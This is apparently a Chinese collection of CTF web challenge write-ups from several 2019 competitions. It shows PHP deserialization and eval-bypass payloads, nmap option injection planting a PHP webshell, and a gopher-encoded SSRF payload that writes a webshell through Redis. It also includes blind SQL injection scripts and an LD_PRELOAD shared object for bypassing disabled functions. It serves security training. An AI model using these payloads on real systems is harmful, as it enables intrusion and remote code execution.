<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FwCmRf1Lf9g6MZ3rXC0Bv%2Fphpweb-2.png?alt=media&amp;token=a8db0a72-0121-41e0-82b8-594ab8a8ad37" alt=""><figcaption></figcaption></figure>

```php
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
​
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>
```

分析上述代码可以发现存在类 `Test` ，并且黑名单中并没有 `unserialize()` 函数，因此可以尝试通过反序列化来解决，先进行序列化的构造。

```php
<?php
    class Test {
        var $p = "ls /";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
​
    $a = new Test();
    echo serialize($a);
    // O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
```

构造 payload `func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}`

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FUJS7BgMwuVtRLQrg8mb3%2Fphpweb-3.png?alt=media&amp;token=14a239f4-5cfc-43ee-870f-819ab6cd85ab" alt=""><figcaption></figcaption></figure>

发现 `flag` 并没有如愿以偿地出现在根目录，因此通过 `find` 命令与上面同理构造 payload `func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F92qYpO4nGKCoLVTfDpv4%2Fphpweb-4.png?alt=media&amp;token=89966797-5698-4bc6-8431-99dda2cab576" alt=""><figcaption></figcaption></figure>

排除开系统文件可以发现 `/tmp/flagoefiu4r93` 文件，通过构造 payload `func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}` 就得到 flag 了。

### \[朱雀组]Nmap

先随便输入 `127.0.0.1` 可以得到回显并且发现 Param `f=6f859` 。

构造 Payload 如下

```
f=6f858
```

可以得到报错回显如下

```
Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/6f858" in /var/www/html/result.php on line 23
```

可以推断出是 xml 输出的，假设当前表达式为

```php
<?php system('nmap '. $_POST['host'] .' -oX')
```

可以通过 `-oG` 输出到文件中，构造 Payload 如下

```
host=<?=eval($_POST[1]);?> -oG shell.php
```

回显 `Hacker...` ，说明存在一定的过滤，试试改成 `phtml` 。

构造 Payload 如下

```
host=<?=eval($_POST[1]);?> -oG shell.phtml
```

回显 `Host maybe down` ，说明传入成功，但是并不能访问 `shell.phtml` ，通过查看源代码才发现还需要进行单引号的绕过（存在 `escapeshellarg()` 和 `escapeshellcmd()` ），因此需要修改 Payload 如下

```
host='<?=eval($_POST[1]);?> -oG shell.phtml '
```

结尾的空格是为了防止 `escapeshellcmd()` 函数使得文件名变成 `shell.phtml\\` 。

通过蚁剑一把梭就可以得到 flag 了。

### \[玄武组]SSRF Me

#### 题目源码

```php
// index.php
<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
```

#### 解题过程

在 safe\_request\_url 函数中，接受了 URL 参数后调用 check\_inner\_ip 函数判断是否是内网IP，不是的话才会执行 safe\_request\_url 函数下方的 curl 。而 check\_inner\_ip 函数指定 URL 必须为 `http://, https://, gopher://, dict://` 这几种协议开头，后通过 parse\_url 函数进行解析，而这里检测的 IP 段包括 `127.0.0, 10.0.0, 172.16.0, 192.168.0` 这几个网段。因此这里绕过有两种方式：

1. 绕过 parse\_url 函数
2. 绕过被检测的 IP 段

第一种方法即是在构造 Payload 时使得该函数无法正常解析 URL，即 `http:///` 等。第二种方法即是使用 `0.0.0.0` 来进行绕过。通过构造 Payload 如下

```
?url=http:///127.0.0.1/hint.php
```

即可得到 hint.php 的源码如下

```
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
```

可以得知 Redis 的密码为 root ，开始尝试 Redis SSRF ，先通过在本地抓包构造出 Payload ，再通过 gopher 发送。

```shell
$ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> auth root
(error) ERR AUTH <password> called without any password configured for the default user. Are you sure your configuration is correct?
127.0.0.1:6379> config set dir /var/www/html
(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
127.0.0.1:6379> config set dbfilename webshell.php
(error) ERR CONFIG SET failed (possibly related to argument 'dbfilename') - can't set protected config
127.0.0.1:6379> set -.- "<?php @eval($_POST[1]); ?>"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> 
```

通过 WireShark 抓包（右键->Follow->TCP stream），并过滤掉服务端返回的值并以原始数据显示后即可得到 Payload 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FXr36Bxnx928SGLejBs1c%2FSSRF%20Me-1.png?alt=media&amp;token=6fd3aeb9-1534-41b3-9272-bc4eb16808f9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F6QQE0kaUUqOeeBSlkteW%2FSSRF%20Me-2.png?alt=media&amp;token=f7c8b385-1a40-4a0e-b4cc-c3fe75ec64c8" alt=""><figcaption></figcaption></figure>

```
2a320d0a24340d0a617574680d0a24340d0a726f6f740d0a
2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a24330d0a6469720d0a2431330d0a2f7661722f7777772f68746d6c0d0a
2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a2431300d0a646266696c656e616d650d0a2431320d0a7765627368656c6c2e7068700d0a
2a330d0a24330d0a7365740d0a24330d0a2d2e2d0d0a2432360d0a3c3f70687020406576616c28245f504f53545b315d293b203f3e0d0a
2a310d0a24340d0a736176650d0a
```

通过编写脚本转为 Gopher 协议数据

```python
payload = "2a320d0a24340d0a617574680d0a24340d0a726f6f740d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a24330d0a6469720d0a2431330d0a2f7661722f7777772f68746d6c0d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a2431300d0a646266696c656e616d650d0a2431320d0a7765627368656c6c2e7068700d0a2a330d0a24330d0a7365740d0a24330d0a2d2e2d0d0a2432360d0a3c3f70687020406576616c28245f504f53545b315d293b203f3e0d0a2a310d0a24340d0a736176650d0a"
for i in range(0, len(payload), 2):
    print("%25" + payload[i:i + 2], end="")
# %252a%2532%250d%250a%2524%2534%250d%250a%2561%2575%2574%2568%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2531%2532%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%252d%252e%252d%250d%250a%2524%2532%2536%250d%250a%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a
```

通过构造 Payload 如下

```
?url=gopher://0.0.0.0:6379/_%252a%2532%250d%250a%2524%2534%250d%250a%2561%2575%2574%2568%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2531%2532%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%252d%252e%252d%250d%250a%2524%2532%2536%250d%250a%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a
```

访问后虽然会显示 504 ，但通过访问 `webshell.php` 可以发现 Shell 已经成功上传，就可以得到 flag 了。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FVhn7sqKssavjLC5pUJly%2FSSRF%20Me-3.png?alt=media&amp;token=4d1109fe-8845-4f93-bd88-3c372bcab219" alt=""><figcaption></figcaption></figure>


# CISCN 2019

## Web

### \[初赛] Love Math

**题目**

```php
<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
```

通过代码审计可以得出要求

* 字符不得超过 80 个
* 字符必须在白名单，并且不能出现黑名单上的字符

我们需要构造 `system(cat /flag)` ，需要使得 `c=($_GET[1])($_GET[2])` 。

首先是得将转换得到 `hex2bin()` 函数，由于存在 x 所以我们需要至少 34 进制（

`hex2bin` 34 进制转 16 进制得到 `26941962055` ，此时 `base_convert(26941962055,10,34) = hex2bin` 。

`_GET` 字符串转 16 进制得到 `5f474554` 再转成 10 进制得到 `1598506324` ，此时如下代码

```php
<?php
echo (base_convert(26941962055,10,34))(dechex(1598506324));
```

的结果就是 `_GET` ，接下来就是处理 `$` 符号，需要通过引用变量来触发，中括号不在白名单那就用大括号，构造 Payload 如下

```
c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat /flag
```

### \[华北赛区 Day2 Web1] Hack World

```python
import time
import requests

url = 'http://b478134c-6e5f-4069-8910-4f12fc9bab6c.node4.buuoj.cn:81/'
results = []
session = requests.Session()

for i in range(1,43):
    start = 32
    end = 127
    for j in range(start, end):
        mid = (start + end) // 2
        data = {"id": f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"}
        time.sleep(0.1)
        ret = session.post(url, data=data)
        if 'Hello, glzjin wants a girlfriend.' in ret.text:
            start = mid
        else:
            end = mid
        if (end - start) <= 1:
            results.append(chr(end))
            print(''.join(results))
            break
```

### \[华东南赛区] Web11

底部带有提示 `Build With Smarty !` ，猜测是 Smarty SSTI 注入。

* `{php}{/php}` ，在 Smarty 3.1， `{php}{/php}` 仅在 SmartyBC 中可用。
* `{literal}` ，使得模板字符原样输出。
* `getStreamVariable` ，读取一个文件并返回内容
* `{if}{/if}`

构造 Payload 如下

```
{if system('cat /flag')}{/if}
```

查看源代码即可获得 flag 。


# 极客大挑战 2019

## Web

### BuyFlag

通过查看 `index.php` 源代码可以发现 `pay.php`，通过查看 `pay.php` 源代码可以发现以下内容

```php
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
```

通过构造 payload `password="404"` 发现并没有什么反应，然后继续在 NetWork 里面寻找答案。在寻找的过程中，发现 Request Headers 内包含 Cookie `user=0` ，故尝试修改为 `user=1` 后出现新提示 Wrong Password。因此重新构造 payload `password=404a` 发现成功力，但是提示需要给钱（

> is\_numeric() 函数用于检测变量是否为数字或数字字符串
>
> 但当一个整型和一个其他类型行比较的时候，会先把其他类型数字化再比，因此可以通过空字符 `%00` 或字母实现绕过
>
> strcmp() 函数用于比较两个字符串
>
> 若传入的参数为数组则返回 NULL ，NULL==0 为 bool(true)，因此可以通过传入数组进行绕过

尝试构造 payload `money=100000000` 发现提示 Nember lenth is too long，故修改 payload 为 `money[]=1`

### FinalSQL

通过测试发现并不存在单双引号，空格、`and` 也被过滤了，`/**/` 绕过也不行，并不存在报错注入，尝试布尔注入。

```python
import time
import requests

url = 'http://f5e437d3-ba10-41e1-a677-dab0531a7037.node4.buuoj.cn:81/search.php'
results = []
session = requests.Session()

for i in range(1,43):
    start = 32
    end = 127
    for j in range(start, end):
        mid = (start + end) // 2
        data = {"id": f"0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})"}
        time.sleep(0.1)
        ret = session.get(url, params=data)
        #print(ret.text)
        if 'NO!' in ret.text:
            start = mid
        else:
            end = mid
        if (end - start) <= 1:
            results.append(chr(end))
            print(''.join(results))
            break
```

可以得到表名 `F1naI1y,Flaaaaag` ，通过修改 data 如下

```python
data = {"id": f"0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})"}
```

可以得到列名 `id,fl4gawsl` ，通过修改 data 如下

```python
data = {"id": f"0^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{i},1))>{mid})"}
```

得到回显 `NO!!Not!this!!Click!others~~~,yingyingying` ，看来被骗了，那就修改 data 如下

```python
data = {"id": f"0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})"}
```

得到回显 `id,username,password` ，通过修改 data 如下

```python
data = {"id": f"0^(ascii(substr((select(group_concat(username))from(F1naI1y)),{i},1))>{mid})"}
```

得到回显 `mygod,welcome,site,site,site,site,Syc,finally,flag` ，看来离成功更进一步了（确信），修改 data 如下

```python
data = {"id": f"0^(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),{i},1))>{mid})"}
```

得到回显 `flag{301e4296-b8db-462e-a4e0-6253e9b8dafe}` 。

### RCE ME

题目如下。

```php
<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
// ?>
```

限制条件如下：

1. Payload 长度不超过 40 ；
2. Payload 不包含数字和字母。

因此尝试用取反 URLEncode 编码绕过，通过以下方式构造 Payload 。

```php
echo urlencode(~"assert");
// %9E%8C%8C%9A%8D%8B
echo urlencode(~'eval($_POST[1]);');
// %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4
// Payload: code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
```

即可通过蚁剑发现文件 `readflag` ，但是它是一个文件并且通过蚁剑的 shell 无法执行，猜测需要绕过 disable functions ，先构造 Payload 如下来找出 disable functions 的值。

```php
echo urlencode(~"phpinfo");
// %8F%97%8F%96%91%99%90
// Payload: code=(~%8F%97%8F%96%91%99%90)();
```

可以得到被禁用的方法如下：

* pcntl\_alarm
* pcntl\_fork
* pcntl\_waitpid
* pcntl\_wait
* pcntl\_wifexited
* pcntl\_wifstopped
* pcntl\_wifsignaled
* pcntl\_wifcontinued
* pcntl\_wexitstatus
* pcntl\_wtermsig
* pcntl\_wstopsig
* pcntl\_signal
* pcntl\_signal\_get\_handler
* pcntl\_signal\_dispatch
* pcntl\_get\_last\_error
* pcntl\_strerror
* pcntl\_sigprocmask
* pcntl\_sigwaitinfo
* pcntl\_sigtimedwait
* pcntl\_exec
* pcntl\_getpriority
* pcntl\_setpriority
* pcntl\_async\_signals
* system
* exec
* shell\_exec
* popen
* proc\_open
* passthru
* symlink
* link
* syslog
* imap\_open
* ld
* dl

可以利用环境变量 LD\_PRELOAD 劫持系统函数，让外部程序加载恶意 \*.so ，达到执行系统命令的效果，先编写恶意类如下。

```c
// ld.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/readflag");
}
```

通过以下命令进行编译为共享对象。

```shell
gcc -shared -fPIC ld.c -o ld.so
```

将该恶意文件上传至 `/tmp` 中，并构造 Payload 如下。

```
params: code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
body: 1=putenv("LD_PRELOAD=/tmp/ld.so");mail("","","","");
```

之后就能在蚁剑通过查看 `/tmp/readflag` 得到 flag 。


# 安洵杯 2019

## Web

### easy\_web

进入页面后可以获得 Hint `md5 is funny ~` ，并且从 URL 可以发现 payload 如下

```url
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
```

在开发者工具 - Elements 中将 `background` 注释掉方便查看回显。

尝试传入以下 Payload

```url
img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ls
img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=echo
```

回显 `forbid ~` ，说明均被过滤了，尝试将 `img` 的值删除回显时图片消失，说明图片时通过 `img` 引入的。

将 `TXpVek5UTTFNbVUzTURabE5qYz0` 丢进 CyberChef 一把梭可以得到经过两次 base64 解码以及一次 16 进制转字符串的值 `555.png`

!\[easy\_web-1]\(E:\ICloud\iCloudDrive\Note\CTF\安洵杯 2019\easy\_web-1.png)

那就反其道而行之，将 `index.php` 的值以上面的逆序进行转换得到值 `TmprMlpUWTBOalUzT0RKbE56QTJPRGN3`

!\[easy\_web-2]\(E:\ICloud\iCloudDrive\Note\CTF\安洵杯 2019\easy\_web-2.png)

将得到的值进行传入，Payload 如下

```url
img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
```

回显后进行 base64 解码可以得到 `index.php` 的源码

```php
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixiï½ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
```

想要执行系统命令就需要进行 md5 强比较绕过，这里进行了 string 强制类型转换，所以只能通过碰撞找出 md5 值相同的两个字符串了，可以通过 fastroll 进行生成，也可以在网上找生成好的，构造 Payload(body) 如下

```url
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
```

回显时 `md5 is funny ~` 消失了，说明绕过成功了，之后就是绕过黑名单，虽然空格没有过滤，但是还是没找到突破口，通过百度才发现 PHP 正则替换存在一个特别的情况。当我们想过滤 `\` 的时候，我们会想到用 `\\` 来解决，但是实际上并没有实现过滤，因为 PHP 会先进行一次解析，这时候我们要过滤的实际变成空白，所以要想过滤 `\` 需要使用 `\\\\` 来解决，这时候 PHP 进行解析后变成 `\\` ，这就匹配成功了。

因此上述正则中的 `|\\|\\\\|` 其实是 `|\|\\|` ，也就是过滤了 `|\` ，并没有过滤 `\` 。故可以通过构造如下 Payload 进行绕过

```url
img=&cmd=c\at /flag
```

这时候这道题就结束了。

### easy\_serialize\_php

```php
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST); // 构造变量

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
```

当 `$function == 'show_image'` 时，会输出 `$userinfo['img']` 的内容，因此下一步就是修改 `$userinfo['img']` 的值。

在源码上方存在 `extract($_POST);` 因此可以通过该函数进行传值，但是传入的值会被后面的 `$_SESSION['img']` 顶掉，所以这题需要通过 `filter()` 函数进行反序列化字符串逃逸。

先根据提示在 `phpinfo()` 中找到了 `d0g3_f1ag.php` ，猜测 flag 就在这里。

通过输出 `$serialize_info` 的序列化可以得到回显如下

```
s:84:"a:3:{s:4:"user";s:5:"guest";s:8:"function";N;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";
```

通过传入 Payload 如下

```
_SESSION[flagflag]=";i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```

即可使得序列化字符串变为

```
s:104:"a:2:{s:8:"";s:45:"";i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";
```

此时再进行反序列化则会得到

```
array(2) { ["";s:45:""]=> int(1) ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" }
```

验证逃逸成功，再设置 `param:f=show_image` 即可得到 `d0g3_f1ag.php` 源代码如下

```php
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
```

那就将 `/d0g3_fllllllag` base64 编码得到 `ZDBnM19mbGxsbGxsYWc=` ，这时的 Payload 如下

```
_SESSION[flagflag]=";i:1;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
```

就可以得到 flag 力。


# 强网杯 2019

## Web

### 高明的黑客

通过页面提示

```html
我也是很佩服你们公司的开发，特地备份了网站源码到www.tar.gz以供大家观赏
```

可以通过访问 `http://c6a46daa-1ec6-4adc-ac66-258cd27b688c.node4.buuoj.cn:81/www.tar.gz` 获取到网站源码，可以看到有 3000 多个 PHP 文件，随便点进去可以发现十分的乱（悲），通过代码审计可以发现存在注入漏洞，通过编写 Python 收集一个页面中存在的所有 $\_GET 和 $\_POST 并传入一个带有特征的输出进行验证，最后就可以撞出来了（就是特别慢，慢死了） 。

```python
import re
import os
import requests

src_path = '../../phpstudy_pro/WWW/localhost/src'
file_list = os.listdir(src_path)

for file in file_list:
    f = open(src_path + '/' + file)
    GET_Array = re.findall('\$_GET\[\'(.*?)\'\]', f.read())
    POST_Array = re.findall('\$_POST\[\'(.*?)\'\]', f.read())

    f.close()
    for param in GET_Array:
        url = 'http://127.0.0.1/src/' + file
        res = requests.get(url, {
            param: 'echo K1sARa'
        })
        if 'K1sARa' in res.text:
            print(file, param, 'YES')
            exit(1)
        else:
            print(file, param, 'NO')

    for param in GET_Array:
        url = 'http://127.0.0.1/src/' + file
        res = requests.post(url, data={
            param: 'echo K1sARa'
        })
        if 'K1sARa' in res.text:
            print(file, param, 'YES')
            exit(1)
        else:
            print(file, param, 'NO')
```

运行以上代码后可以得到结果 `xk0SzyKwfzw.php Efa5BVG YES` ，通过访问

```url
http://c6a46daa-1ec6-4adc-ac66-258cd27b688c.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag
```

就可以得到 flag 了。


# SUCTF 2019

## Web

### pythonnginx

通过查看源代码可以发现以下内容。

```python
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url") # 设 url=https://xxx.com/index.php
    host = parse.urlparse(url).hostname # xxx.com
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url)) # ['https', 'xxx.com', '/index.php', '', '']
    host = parts[1] # xxx.com
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
#    <!-- Dont worry about the suctf.cc. Go on! -->
#    <!-- Do you know the nginx? -->
```

